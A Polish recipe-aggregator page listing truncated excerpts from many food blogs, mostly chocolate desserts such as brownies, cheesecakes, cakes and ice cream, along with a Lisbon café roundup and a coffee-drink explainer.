Zapraszam na pyszne i delikatne w smaku placuszki, z wyczuwalną w smaku białą czekoladą. Polecam na podwieczorek. Przepis taki prosty, a pyszny. Macie ochotę? To zróbcie koniecznie :) Składniki na pewno znajdziecie w kuchennej szafce. Zachęcam i smacznego życzę :) Składniki: Ciasto: 2 jajka 1 szklanka mąki tortowej pół szklanki mleka 1 łyżka cukru 3 łyżki wiórek kokosowych 4 łyżki rodzynek pół(...)łyżeczki proszku do pieczenia 4 kostki białej czekolady Dodatkowo: olej do smażenia Wykonanie: 1. Jajka, cukier, mleko, mąkę, wiórki kokosowe i proszek do pieczenia przekładamy do miski, następnie miksujemy na gładkie bez grudek ciasto. Dodajemy rodzynki i czekoladę startą na tarce o dużych oczkach i dokładnie mieszamy. 2. Na patelni rozgrzewamy olej i smażymy placuszki po kilka minut z każdej

Izabelawkuchni
Ciasto Milky way 140

cukier waniliowy 7 łyżek maki pszennej 5 łyżek mąki ziemniaczanej Masa biała składniki: 500 ml śmietany kremówki 2 łyżeczki żelatyny 2łyżki cukru pudru Ciemna masa składniki: 3 jajka 1 czekolada mleczna ½ czekolady gorzkiej ½ kostki margaryny 1 łyżeczka żelatyny Ciasto Milky way Wykonanie: Białka oddzielić od żółtek. Z białek ubijamy sztywną pianę z dodatkiem cukru. Do ubitej piany po jednym dodajemy(...)dodatkiem cukru pudru. Pod koniec ubijania dodać chłodną żelatynę, i dokładnie wymieszać. Wykonanie masy ciemnej: W małym rondelku rozpuszczamy margarynę. Do rozpuszczonej lekko przestudzonej margaryny dodać w kawałkach czekoladę. Dokładnie wymieszać i odstawić do przestudzenia. Żółtka roztrzepać widelcem i dodać do przestudzonej ale nie zimnej masy czekoladowej. Na samym końcu dodajemy białka ubite na sztywną pianę i przestudzoną rozpuszczoną żelatynę

Pomysłowa kuchnia
Czekoladowe ciasto z cukinii 120

szklanki oleju 1/2 szklanki mleka 1 łyżeczka proszku do pieczenia 1/2 łyżeczki sody oczyszczonej Dodatkowo: 100 g orzechów ( dałam nerkowce ) 50 g suszonej żurawiny 50 g rodzynek 100 g czekolady deserowej Przygotowanie:   1. Cukinię zetrzeć na tarce o dużych oczkach. 2. Obie mąki połączyć z kakao, proszkiem do pieczenia i sodą. 3 . Orzechy posiekać, czekoladę pokroić w nieduże kawałki(...)Jajka utrzeć z cukrem pudrem. Do masy jajecznej dodać sypkie składniki, dolać olej, mleko. Następnie dodać startą cukinię, czekoladę oraz bakalie. Masę dobrze wymieszać - do połączenia składników. 5. Tortownicę średnicy 25/27 cm wyłożyć papierem do pieczenia. Ciasto przelać do tortownicy. Piec w temperaturze 180 stopni C przez około 60 minut. Upieczone ciasto wyjąć z tortownicy i pozostawić do zupełnego ostygnięcia

kolorowotorcikowo
Gdzie na kawę i ciasto? Przegląd najlepszych kawiarni i cukierni w Lizbonie 119

Lisboa Landeau Chocolate  || Rua das Flores 70, Lisboa godziny otwarcia: codziennie 12:00 - 19:00 Wnętrze Landeau Chocolate. Ciasto czekoladowe z Landeau Chocolate. Chocolataria Equator Pozostając w temacie czekolady, koniecznie musicie odwiedzić to miejsce! W Chocolataria Equator ręcznie przygotowuje się niezwykłe tafle czekolady i praliny z dodatkiem Porto, marakui, czy mango. Tabliczki czekolady są przepięknie zapakowane, więc

Food Square
Brownie z orzechami 183

Idealne na pochmurny dzień, idealne do popołudniowej kawy i przedpołudniowego lunchu. Idealne na spotkanie z przyjaciółką, czy samotny wieczór. Brownie z orzechami ma w sobie to coś. Może to czekolada, która poprawia humor, dostarcza magnez, witaminę B6 i trochę cukru? Może to orzechy, które również pomagają nam się uspokoić i zrelaksować? Co stoi za jego właściwościami nie wiem, wiem jednak(...)łyżek gorzkiego kakao 2 łyżki ksylitolu szczypta soli pół łyżeczki esencji migdałowej 2 jajka 60 g mąki ryżowej 30 g mąki kokosowej 30 g mąki ziemniaczanej 50 g gorzkiej czekolady pół szklanki dowolnych orzechów Olej kokosowy przełóż do garnka, podgrzewaj, do czasu aż stanie się płynny. Następnie zdejmij garnek z kuchenki, dodaj kakao i esencję migdałową. Całość dokładnie wymieszaj

365 dni dookoła kuchni
princessa zebra kokosowa 246

masła - 150 g wiórków kokosowych - 500 ml mleka - 2 żółtka - 2 czubate łyżki budyniu waniliowego) - 2 płaskie łyżki mąki pszennej - 2/3 szklanki cukru - 1 cukier waniliowy - 50 g białej czekolady - 200 g herbatników kakaowych  - słoiczek dżemu malinowego - wiórki kokosowe do posypania Żółtka ucieram z połową cukru. Dodaję obie mąki, 1/2 szklanki mleka i dokładnie miksuję. Pozostałe mleko wlewam(...)powstanie wtedy kożuch)  i odstawiam do wystygnięcia. Masło ucieram na puch. Dodaję po łyżce budyniu i łączę  na gładki krem.  Do kremu dosypuję wiórki i startą czekoladę, mieszam łopatką. Formę wykładam papierem do pieczenia. Na dnie układam ściśle warstwę herbatników. Na herbatniki wykładam 1/3 część kremu i równo rozsmarowuję. Na masie układam kolejną warstwę herbatników. Ciastka smaruję

Cook&Love
SERNIK ZE ŚLIWKAMI I GRUSZKAMI 105

serników się nie oprze! Spróbujcie! SKŁADNIKI: ( 24 cm ) SPÓD: * herbatniki – 200 g * masło roztopione – 50 g MASA SEROWA: * twaróg 3 x mielony – 400 g * śmietana 36% – 1/4 szkl * biała czekolada – 120 g * wanilia – 1 laska ( lub ekstrakt z ziaren wanilii ) * drobny cukier – ok. 120 g * jajko – 2 szt * gruszki ( raczej twarde ) – 2 szt * śliwki – ok. 250 g SPOSÓB(...)SPÓD: Herbatniki zmiksować z roztopionym masłem, wylepić tortownicę wyłożoną papierem, wstawiać na 30 minut do lodówki. MASA SEROWA: Wszystkie składniki muszą być w temperaturze pokojowej. Śmietanę podgrzewamy, dodajemy posiekaną czekoladę, rozpuszczamy, zostawiamy do wystudzenia. Ser biały ucieramy wanilią, cukrem i jajkami na gładką masę ( nie za długo! ). Dodajemy białą czekoladę, mieszamy do połączeni składników. Na schłodzonym spodzie układamy gruszki, zalewamy

Ostra na Słodko
Bardzo kruche babeczki z kremem budyniowym i owocami 300

masła i dodałam 2 łyżki śmietany. Z ciasta możecie z powodzeniem zrobić zarówno słodkie jak i wytrawne babeczki, pomijając w składzie cukier. Całość możecie posypać cukrem, tartą czekoladą lub tak naprawdę niczym;) Ja zrobiłam krem budyniowy – tzn, popełniłam grzech i użyłam gotowego budyniu i potem zmiksowałam go z 100 g masła. Ale równie dobrze sprawdzi się sam budyń(...)u0142y\u017cce budy\u0144.\r","\r","Na wystudzone babeczki nak\u0142ada\u0107 krem, ozdabia\u0107 owocami.\r","Mo\u017cna serwowa\u0107 same, posypane cukrem pudrem lub tart\u0105 czekolad\u0105"]} Drukuj Bardzo kruche babeczki z kremem budyniowym i owocami Składniki Ciasto 370 g mąki pszennej 250 g smalcu lub palmy (dałam 100 g smalcu i 150 g twardego masła) szczypta

Mieszam w Garnku
Ciasto toffi bez pieczenia 991

łatwe i pyszne ciasto bez użycia piekarnika. Ciasto jest na spodzie z herbatników i ma dwie warstwy o smaku toffi - mocniejsza i słabszą, a na wierzchu bita śmietana i czekolada. Całość rewelacyjnie się komponuje i genialnie smakuje Ciasto toffi bez pieczenia idealnie sprawdzi się w ciepłe dni, ale też wtedy kiedy nie mamy czasu lub chęci na pieczenie Gorąco zachęcam(...)toffi ( kajmaku ) 1czubata łyżka żelatyny 0,5 szklanki gorącej wody Masa śmietanowa: 200 ml śmietanki 30% 200 g serka mascarpone 3 łyżki cukru pudru Wierzch ciasta: 50 g startej czekolady deserowej posypki czekoladowe i/lub cukrowe   PRZYGOTOWANIE: Formę ( 27*18 cm ) wyłożyć papierem do pieczenia. Dno tak przygotowanej formy wyłożyć warstwą herbatników - 100 g. Warstwy o smaku toffi - żelatynę dokładnie

WSZYSTKO SMACZNE
Delikatne ciasteczka owsiane z białą czekoladą – soft oatmeal cookies with white chocolate 93

szklanki mąki luksusowej typ 550 2 ½ szklanki płatków owsianych ½ łyżeczki soli ½ łyżeczki proszku do pieczenia 1 łyżeczka sody oczyszczonej 100 g kandyzowanej skórki z pomarańczy 200 g białej czekolady Wykonanie: Czekoladę pokroić w drobną kostkę. W misce utrzeć mikserem masło z cukrem, olejkiem waniliowym i jajkami. W oddzielnej misce zmieszać mąkę, płatki, proszek, sodę oraz sól. Dodać do utartego masła(...)Wsypać czekoladę oraz kandyzowaną skórkę z pomarańczy. Wyrobić ręką. Ciasto będzie kleiło się do rąk. Blachy o wielkości piekarnika wyłożyć papierem do pieczenia. Formować kulki, układać na blasze i spłaszczać. Zachować duże odstępy, ponieważ ciasteczka rosną na boki. Piec w piekarniku z termoobiegiem nagrzanym do 180 0 C przez 12-14 minut. Smacznego!!! Today I recommend soft and yummy oatmeal

Przepisy Babci
Torcik kokosowo – malinowy 147

łyżki kakao 2 łyżki oleju 1 łyżeczka proszku do pieczenia Mus malinowy: 400g świeżych malin 2 galaretki malinowe 1/2   szklanki wody Masa kokosowa: 0,5l śmietany 36% 200g czekolady białej 500g białego sera z wiaderku 3 łyżeczki żelatyny 10 łyżek mleka kokosowego 1/2 szklanki wiórków kokosowych 125ml likieru kokosowego Poncz: 1 łyżeczka kawy rozpuszczalnej 50ml likieru kokosowego 1/3 szklanki(...)wymieszać i doprowadzić do wrzenia- nie gotować. Mus wystudzić i wlać do formy o średnicy 20cm, wyłożonej folią spożywczą. Wstawić do lodówki na około 40 minut. 3. Masa kokosowa: Czekoladę rozpuścić w kąpieli wodnej. Żelatynę namoczyć w mleku kokosowym a następnie lekko podgrzać aby się   rozpuściła.   Śmietanę ubić na sztywno dodać małymi porcjami biały ser, przestudzoną czekoladę, likier

Szalona Kuchnia Eweliny
Ciasto bananowiec 457

śliwkowych • 1 kg bananów • sok z 1/2 cytryny • 3 łyżki gorzkiego kakao • 350 ml śmietanki kremówki 36% (b. zimnej) • 1/3 szklanki cukru pudru • 2 op. śmietan fix • 40 g czekolady gorzkiej i 20 g czekolady białej Przygotowanie : Spód kakaowy Piekarnik nagrzać do 180 stopni C. Formę o wymiarach ok. 23 x 35 cm posmarować masłem i wyłożyć papierem do pieczenia(...)sitko posypać kakao. Śmietankę przed ubiciem należy bardzo dobrze schłodzić. Ubić ją z dodatkiem cukru pudru na sztywno, pod koniec dodać śmietan-fix. Wyłożyć na kremie i posypać startą czekoladą (mieszanką gorzkiej i białej). Wstawić do lodówki na ok. 3 godziny. Przed podaniem ocieplić w temp. pokojowej

KUCHNIA POLSKA
Gorzkie brownie z malinami 118

Ciasto bardzo mocno czekoladowe, gorzkie od czekolady i naturalnego kakao, to takie brownie dla wytrawnego podniebienia jak dla smakoszy wytrawnego wina. Ja w nim uwielbiam delikatność malin, jest najlepsze na świecie... Przepis podaję na dużą blaszkę 35x22 cm. Składniki: - 30 dag malin lub więcej tak, żeby wypełnić całą górę ciasta - 20 dag dobrego masła - 35 dag dobrej gorzkiej czekolady(...)płaska łyżeczka proszku do pieczenia - 4 łyżki naturalnego kakao - 1 szklanka cukru - 8 jaj - 1 kopiasta szklanka mąki pszennej - 5 łyżek likieru lub wódki 1. W rondlu rozpuszczamy czekoladę z mlekiem, masłem i kakao. Mieszamy na małym ogniu i pilnujemy żeby się nie zagotowało. Odstawiamy do zupełnego wystudzenia. 2. W dużej misce miksujemy jajka z cukrem aż powstanie puszysta masa

Apetyczna babeczka
Czekoladowa jaglanka z owocami 145

słodka jaglanka. Jeśli ktoś do tej pory nie przepadł za jaglanką - polecam zrobić tę, a ją pokocha! Składniki: 3 łyżki płatków jaglanych, 1/3 szklanki mleka, 3 kostki dobrej gorzkiej czekolady, owoce: nektarynka, gruszka, łyżeczka wiórków kokosowych Przygotowanie: Czekoladę siekamy. Dwie kostki dodajemy do mleka, płatków i podgrzewamy. Gdy pojawią się bąbelki, zestawiamy z ognia i odstawiamy na 5 minut. Owoce(...)kroimy. Wykładamy jaglankę na miseczkę, układamy owoce, posypujemy pozostałą czekoladą i wiórkami kokosowymi

Lena Gotuje
Bezglutenowe malinowo malinowe wegańskie brownie 117

wiem jak Wy, ale ja porostu raz na jakiś czasu muszę zjeść czekoladę, mam po prostu po dziurki w uszach już fit batoników, suróweczek , lekkich zupek warzywnych i marzy mi się brownie. Zaletą tego ciasta jest nie tylko podniesienie poziomu endorfin, ale tez to że robi się bardzo szybko (no z 10 minut) i pieczenie tez nie zajmuje dużo czasu(...)mąki grochowej 250 g malin (100 g odłóż do dekoracji) 2 banany 80 g oleju roślinnego 100 g cukru (u mnie dark muscovado) 30 g kakao 100 g gorzkiej czekolady płaska łyżeczka proszku do pieczenia szczypta soli Przygotowanie: 150 g malin i banany zblenduj na gładką masę. W kąpieli wodnej rozpuść czekoladę, olej i cukier. Do masy owocowej dodaj czekoladową

greenscarf
Owsianka piękności (z czekoladą, śliwką i sokiem jabłkowym) 115

ogród. Śliwki, jabłka, porzeczki albo... drożdżówka z wiśniami. Część śliwek postanowiłam skarmelizować z cukrem i masłem oraz doprawić goździkami oraz podać z płatkami gotowanymi na domowym soku jabłkowym i czekoladą.  Nie muszę pisać bo to już brzmi jak rozpływająca się w ustach sama rozkosz. Jak dla mnie to owsianka piękności. Piękności bo po jej zjedzeniu na twarzy pojawia się(...)szklanki płatków owsianych  1/2 szklanki mleka  1 szklanka soku z jabłek z goździkami lub kompotu jabłkowego  1 łyżka miodu  1/2 tabliczki dobrej mlecznej czekolady  pestki dyni  migdały  Śliwki pozbaw pestki i smaż na maśle z dodatkiem cukru i goździków dwie lub trzy minuty. Odstaw. Płatki owsianej gotuj w mleku i soku jabłkowym

Mango Papaja
Ciasto czekoladowe z cukinią 162

Ciasto czekoladowe z cukinią Wilgotne, gęste, zdrowe i pyszne! Składniki: - 2 średnie cukinie - 2 gorzkie czekolady najlepiej powyżej 70% - 200g jogurtu naturalnego - 100g masła - 1 łyżeczka proszku do pieczenia lub sody oczyszczonej - 1/2 szklanki mąki kokosowej - 1 i 1/2 szklanki mąki pszennej - 2 łyżki kakao - 2 łyżki miodu - 1 dojrzały banan - 5 jaj Sposób przygotowania: - masło rozpuść w rondelku(...)gorzką czekoladą; - cukinie umyj i zetrzyj na tarce na małych oczkach; - mąki wymieszaj z żółtkami jaj, kakao, jogurtem, proszkiem do pieczenia/sodą, miodem i startą cukinią; - banana rozgnieć widelcem i dodaj do masy; - rozpuszczone masło z czekoladą dodaj do masy; - białka jaj ubij na gęstą pianę i dodaj na sam koniec do masy, następnie wszystko dokładnie i delikatnie wymieszaj; - masę

MintTaste
Lody Waniliowo Czekoladowe / Bez Jajek / Bez Maszynki / Bez Mieszania 98

lody bardzo szybko się roztapiały, ale wyszły przepyszne ;) Składniki na 1 litrowe pudełko lodów: 400 ml śmietanki 30-36 % 300 ml słodzonego mleka skondensowanego z puszki 60 g czekolady deserowej roztopionej i ostudzonej 2 łyżeczki kakao kilka/kilkanaście kropel esencji waniliowej (jeżeli nie lubimy, nie dajemy, lody będą śmietankowe) 1. Śmietankę ubijamy na sztywno, następnie dodajemy mleko skond. ewentualnie esencję(...)waniliową i całość mieszamy do połączenia się szpatułką. 2. Czekoladę roztapiamy powoli nad kąpielą wodą a następnie studzimy tak aby wciąż pozostawała płynna. 3. 3/4 masy wylewamy do pojemnika w którym będą się mroziły lody, resztę mieszamy z roztopioną czekoladą i kakao. Wykładamy robiąc esy floresy lub na jedną stronę. Wkładamy do zamrażalki i tam pozostawiamy najlepiej na całą

Gotowanie...to proste !
ciasto francuskie z bajecznym kremem z owocami 130

słodki tak bardzo, że wystarczy dosłownie malutki kawałeczek jest wystarczający. Ciasto robi się błyskawicznie, tylko trzeba odrobinę dłużej poczekać, aż wszystko stężeje.  Składniki: ciasto francuskie 2 tabliczki białej czekolady 1 opakowanie serka mascarpone (250 g) owoce sezonowe - u mnie maliny  Przygotowanie: ciasto francuskie rozłożyć w naczyniu żaroodpornym i piec zgodnie z przepisem na opakowaniu (zapewne(...)temp. 180-200 st) w gorącej kąpieli (lub w kuchence mikrofalowej przez 30-40 s) rozpuścić białą czekoladę do lekko ostudzone czekolady dodać mascarpone i dokładnie wymieszać na upieczone ciasto wylać masę czekoladową i ułożyć owoce odłożyć do stężenia :)  Powiem krótko niebo w gębie : ) Smacznego

Gotowanie z pasją
LODY CZEKOLADOWE Z BIAŁKIEM 103

dodatkiem odżywki białkowej. Smakują rewelacyjnie.           SKŁADNIKI 1 banan, 2 łyżki kakao, 30 g odżywki o smaku czekoladowym, 150 g jogurtu naturalnego, kawałki gorzkiej czekolady WYKONANIE Wszystkie składniki oprócz czekolady dokładnie blendujemy, dodajemy czekoladę, mieszamy. Przekładamy do pojemnika. Wkładamy do zamrażarki, pamiętając aby co godzinę przemieszać. Lody podałam z waflami

słodki bratek
Deser serowo-owocowy na zimno 126

się zdjęciami w zakładce Komentarz. Zapraszam do śledzenia mojego Instagrama: mecooksblog oraz polubienia Facebooka: MeCooks Smacznego Składniki na deser serowy na zimno. 4 dkg ryżu preparowanego 9 dkg białej czekolady 2 łyżki masła (bez laktozy) 200 ml śmietany kremówki (bez laktozy) 25 dkg sera białego (bez laktozy) 2 łyżki cukru pudru Sos owocowy: 10 dkg mrożonych owoców np. malin(...)łyżki cukru pudru 1 łyżka soku z cytryny selekcja świeżych owoców do podania Deser serowo-owocowy na zimno Jak przygotować serowy deser na zimno. Czekoladę i masło rozpuścić, dokładnie wymieszać. Do miski wsypać ryż preparowany, dodać rozpuszczoną z masłem czekoladę, połączyć całość a następnie wystudzić. Śmietanę kremówkę ubić na półsztywno, pod koniec ubijania dodać cukier puder. Do ubitej śmietany małymi

mecooks
Ciasto malinowy ogród 283

Fenomenalne ciasto z malinami! Biszkopt w smaku przypomina wilgotnego murzynka. Przełożony masą z prażonym słonecznikiem, kajmakiem i mleczną czekoladą jest obłędny. Masa śmietankowa z malinami jest puszysta i delikatna jak chmurka. Ciasto, które jest warte uwagi, ponieważ w smaku jest obłędne! Biszkopt: 0,5 szklanki wody ¾ szklanki oleju 1 ¾ szklanki cukru 3 łyżki kakao 5 jajek 1 ½ szklanki mąki pszennej(...)łyżeczki proszku do pieczenia 1 łyżka esencji waniliowej Masa słonecznikowa: 100 g słonecznika (łuskanego) 400 g masy kajmakowej 100 g mlecznej czekolady Masa śmietankowa: 500 ml śmietany 36% 2 fixy do śmietany 2 łyżki cukru pudru 2 galaretki malinowe 1 szklanka świeżych malin Biszkopt: Do garnka wlewamy olej, wodę, kakao i ¾ szklanki cukru. Zagotowujemy i odstawiamy do wystygnięcia. Białka oddzielamy

VioletoweKucharzenie
Biszkopt z masą śmietankowo serową i brzoskwiniami. 167

pieczenia Składniki na masę: 500 ml śmietanki 30% 400 g. sera do serników (użyłam Mój Ulubiony z Wielunia) 3 łyżki cukru pudru Dodatkowo: 1 puszka brzoskwiń kilka kostek gorzkiej czekolady kilka kostek białej czekolady Wykonanie: Białka ubić ze szczyptą soli, dodając partiami cukier i cukier waniliowy. Dodać żółtka, dalej ubijać. Na koniec wsypać obie mąki z proszkiem do pieczenia(...)jednej połówce poukładać pokrojone w półplasterki brzoskwinie (brzoskwiń nie odsączałam).   Na brzoskwinie wyłożyć masę śmietanowo serową (zostawić trochę masy). Przykryć drugim blatem i wierzch wysmarować pozostałą masą.   Czekoladę zetrzeć na tarce o drobnych oczkach. Udekorować wierzch ciasta i wstawić je do lodówki na kilka godzin

Agusiowe smakołyki
Rolada lawendowa 128

łyżki mąki pszennej 1 łyżka mąki ziemniaczanej 1 łyżeczka octu Krem lawendowy 1 czubata łyżeczka świeżych kwiatków lawendy 200 g. śmietanki 36% 250 g. serka mascarpone 50 g. białej czekolady 1 łyżeczka cukru waniliowego zmielonego na puder 1 łyżka soku z cytryny odrobina fioletowego barwnika spożywczego (najlepiej  tego ) Dużą blachę, np. czarną prostokątną z wyposażenia piekarnika, wyłóż papierem(...)cieście złożony na pół mały ręcznik frotte i szybko ale delikatnie zwiń ciasto w roladę tak, jakby ręcznik był kremem do ciasta. Odstaw tak zwinięty biszkopt, aż całkiem wystygnie. Czekoladę rozpuść w kąpieli wodnej i odstaw do wystygnięcia. Kwiatki lawendy (bez zielonych części) ugnieć w moździerzu wraz z cukrem waniliowym w pudrze (zmiel go w młynku do kawy). Śmietanka przed

Delicious Place
Ciasto owsiane z borówkami i czekoladą 119

szklanki mąki owsianej 3 łyżki ksylitolu 1 łyżeczka proszku do pieczenia 1/2 łyżeczki cynamonu szczypta soli 1/2 szklanki borówek świeżych lub mrożonych 1/3 szklanki pokrojonej gorzkiej czekolady Wykonanie: Mąkę, cynamon,proszek, i sól wsypać do dużej miski i wymieszać. Banana, ksylitol, jajko i mleko przełożyć do blendera i zmiksować przez chwilę do gładkiej konsystencji. Przelać do miski z suchymi składnikami(...)Wymieszać do połączenia się składników. Wsypać czekoladę i borówki, zostawiając trochę na wierzch. Wymieszać a następnie przełożyć do formy wyłożonej papierem do pieczenia. Wierzch posypać pozostałą czekoladą i owocami. Piec około 30 minut

Healthy food explorer
Owsiane ciasteczka czekoladowo - daktylowe 137

mleka. Składniki (ok. 10 sztuk): 1 szklanka płatków owsianych 1/2 szklanki mąki owsianej 3 łyżki kakao 1/2 łyżeczki proszku do pieczenia 200 g daktyli + gorąca woda 80 g gorzkiej czekolady 80 g orzechów włoskich 1/3 szklanki roztopionego oleju kokosowego 2 łyżki syropu z agawy (opcjonalnie) Wykonanie: Czekoladę i orzechy drobno pokroić. Daktyle zalać gorącą wodą i odstawić na co najmniej(...)blendera i miksować stopniowo dolewając wody pozostałej z ich namoczenia - konsystencja ma wyjść gładka. Następnie przełożyć do miski z suchymi składnikami, dodać roztopiony olej kokosowy oraz posiekane orzechy i czekoladę, a następnie wymieszać lub wyrobić za pomocą dłoni - masa ma być zwarta i lepka (w razie potrzeby dolać kilka łyżek wody). Z masy formować kulki, które wykładać na blachę wyłożoną

Healthy food explorer
Mufinki czekoladowe 142

Takie mufinki szybko się robi, po upieczeniu można dodatkowo polać rozpuszczoną czekoladą lub posypać cukrem pudrem. 1 i 3/4 szklanki mąki pszennej 2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody 3 czubate łyżki kakao 3/4 szkl. cukru pudru 0,5 tabliczki gorzkiej czekolady 1 szkl. mleka 0,5 szkl. oleju 1 jajko W jednej misce dokładnie wymieszać składniki suche(...)drugiej misce mokre. Do miski z suchymi składnikami przelać składniki mokre, wymieszać łyżką. Na koniec dodać posiekaną czekoladę i jeszcze raz delikatnie wymieszać. Gotowe ciasto przekładać do foremek. Piec w temperaturze 185 stopni przez około 20 minut

Moje domowe kucharzenie
Rafaello na waflach + film 104

chwilę a efekt końcowy bardzo pozytywnie zaskakuje.     składniki 4-5 prostokątnych całych wafli 2 pokruszone wafle 1/2 l śmietanki 30% 200 g wiórków kokosowych 2 tabliczki białej czekolady ( po 100 g) 2 opakowania bitej śmietany w proszku przepis Do garnka wlewamy kremówkę, do śmietany dodajemy połamaną białą czekoladę i całość podgrzewamy na małym ogniu aż czekolada się rozpuści

Smakowite Dania
Przepyszne brownie z szkockim fudge w środku 208

bardziej miękki. Pewnie, nie macie fudge, ja użyłabym kruchych krówek jako zamiennika. Składniki:  200g masła (ważne, aby to było masło dobrej jakości, a nie masłowe podróbki) 250g ciemnej czekolady albo 200g czekolady + kopiasta łyżka kakao 250g cukru 120g mąki pszennej 2 całe jajka 20 cukierków typu krówka albo iryski Przygotowanie: Ciasto jest super proste. Masło i czekoladę dzielimy

Ale Pyszka!
Latte, macciatto, frape…Kawowy zawrót głowy 112

się efektowne warstwy z mleka, pianki i espresso. Macciatto serwuje się w takich samych szklankach jak Latte, o objętości do 250 ml. Mocha lub mokka to kawa z dodatkiem czekolady. Czekoladę roztapia się w mleku, a do całości dodaje espresso. Na górę można dać bita śmietaną czy posypkę z kakao i cynamonu. W tej kawie mlecznej składniki się miesza przed(...)podaniem. Czekoladę można wybrać dowolnie – mleczną, białą lub gorzką. Szklanki do Mokki także powinny być wysokie o pojemności 200 ml. Irish Coffee to propozycja dla fanów mocniejszych wrażeń, gdyż jest to kawa z alkoholem. Oryginalnie dodaje się do niej irlandzką whisky. Najpierw podgrzewa się szklankę wlewając do niej wrzątek. Potem zaczyna się dodawanie składników: alkohol, łyżka cukru trzcinowego, espresso

codojedzenia
TORCIK RAFAELLO -BEZ MĄKI I CUKRU 169

Jeżeli chcecie zrobić ten deser musicie przygotować: wiórki kokosowe, mus kokosowy,mleko kokosowe, olej kokosowy nie rafinowany, kakao,gorzką czekoladę,masło i ksylitol. Nie odmierzałam ilości składników, więc powiem wam jaka powinna być każda warstwa deseru. Do blendera wrzuciłam ok 3 łyżek wiórek 2-3 łyżki oleju kokosowego, kilka łyzeczek kakao, łyżeczka ksylitolu,ok 2 łyżki mleczka kokosowego. Miksowałam żeby(...)płaską łyżeczkę ksylitolu, kilka kropel soku z cytryny. wymieszałam ręcznie. Konsystencja powinna przypominać gęstą śmietanę. wyłożyłam na spodnią warstwę i wstawiłam do lodówki. Rozpuściłam w kąpieli wodnej tabliczkę gorzkiej czekolady z 1 łyżeczką masła, polałam ciasto czekoladą i ubrałam wiórkami

harrisa
Smaki Pszczyny 106

kuchni Kameralnej, ugościł nas daniami z gęsiny. Pate z gęsi, tatar z gęsi – szkoda, że mięso zostało pozbawione tłuszczu, gęsi żoładek – dlaczego tylko jeden żoładek? :(  pastrami z gęsi, czekolada/ rabarbar/ truskawka. Na kolację zostaliśmy zaproszeni do restauracji Wodna Wieża . Warto się do niej wybrać nie tylko, aby dobrze zjeść, ale również by podziwiać jej wystrój. Wnętrza są urządzone(...)się tak często. Szparagi/ jamon gran reserva/ sos holenderski gravlax z troci/ cytrusy/ zielony ogórek dashi/ soba/ przegrzebek jesiotr/ czarna soczewica/ warzywa/ sos beurre blanc kacza pierś/ mango/ biała czekolada truskawka/ mango/ biała czekolada Wodna Wieża, to również pracownia, w której tworzone są naczynia, według autorskich projektów. Wszystkie dania w pięknej oprawie i smakowo na wysokim poziomie. Zdecydowanie polecam. Ostatnim

królestwo garów
SERNIK Z MALINAMI NA CIASTECZKOWYM SPODZIE 295

ustach się rozpływa a w towarzystwie sosu malinowego poezja... Składniki:  350 g herbatników  210 g masła ( tyle miałam, tyle dałam)  2 żółtka 200 g białej czekolady  2 łyżki spirytusu  sok z połowy cytryny 200 g mascarpone  250 g twarogu  4 jajka  Sos malinowy:  150 g malin 1 łyżka cukru(...)Sposób przyrządzenia:  Herbatniki pokruszyć a następnie zmielić blenderem. Masło rozpuścić, połączyć z rozgniecionymi ciastkami, dodać 2 żółtka.Powstałą masą wyłożyć dno i boki tortownicy (26  cm)  Czekoladę rozpuścić w rondelku, dodać alkohol, sok oraz skórkę  z cytryny. Oba sery  chwilę miksować aż się połączą ze sobą. Dodać żółtka i uprzednio ubite białka oraz lekko wystudzoną

pieprzny smaczek
Czekoladowy sernik na zimno 129

planowałam przygotowanie tego serniczka, w wyobraźni widziałam go w towarzystwie truskawek w czekoladzie. Chciałam roztopić czekoladę, otoczyć w niej truskawki, następnie stężałe poukładać na biszkoptach i zalać masą serową. Plany pokrzyżował mi brak ładnych owoców… niestety. Te, które były wówczas dostępne zupełnie się już do tego nie nadawały, co najwyżej do koktajlu, dlatego też serniczek taki jak w oryginale(...)rozkładamy biszkopty. Następnie wykładamy masę serową, wyrównujemy, dociskając masę łyżką. Wstawiamy do lodówki do całkowitego stężenia, najlepiej na całą noc. Przed podaniem możemy serniczek posypać czekoladową posypką lub startą czekoladą. Źródło

Smaki Na Talerzu
Muffinki czekoladowe z malinami 160

Pyszne! Mocno czekoladowe, z malinami, które doskonale łączą się z czekoladą. Do zrobienia w kilka minut! Później, jeszcze szybciej je zjecie, takie są dobre! ;) Do przygotowania tych słodkości użyłam mąki szymanowskiej - polski producent, idealna do ciast i innych wypieków. W fajnym opakowaniu, które każdorazowo można zamknąć i otworzyć. Używaliście tej maki w swojej kuchni? U mnie się sprawdziła :) Jeżeli przygotowałaś(...)Domowej cukierni Ewy :) Składniki: 225 g mąki pszennej szymanowskiej Polskie młyny 2 łyżki kakao 2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody oczyszczonej 100 g posiekanej, gorzkiej czekolady 2 jajka 300 ml kwaśnej śmietany 12% 140 g cukru 80 ml oleju 2 szklanki malin W jednym naczyniu wymieszać suche składniki - mąkę, kako, proszek do pieczenia, sodę oczyszczoną

Domowa cukiernia Ewy
Przetwory - czekośliwka 115

wiem w co je jeszcze zamienić. Powidła już były, to innym razem, ale największym odkryciem jest czekośliwka :) przepyszne smarowidło na kanapki lub do naleśników. Alternatywa zdrowa, ponieważ czuć słodycz czekolady i śliwki.  Tylko czas przygotowania ... Tylko 5 h 😜 Składniki : 2 kg śliwek 400 g cukru 1 mleczna czekolada 5 łyżek kakao Przygotowanie : śliwki myjemy i kroimy na mniejsze kawałki(...)wkładamy do garnka/patelni o grubym dnie i smażymy na małym ogniu przez 4 h  od czasu do czasu mieszając po tym czasie dodajemy połamaną czekoladę, kakao i cukier i smażymy jeszcze 1 h po tym czasie gorące powidła przekładamy do czystych słoików i zakręcamy układamy do góry dnem i odstawiamy do ostygnięcia Smacznego

Gotowanie z pasją
Przetwory - czekośliwka 90

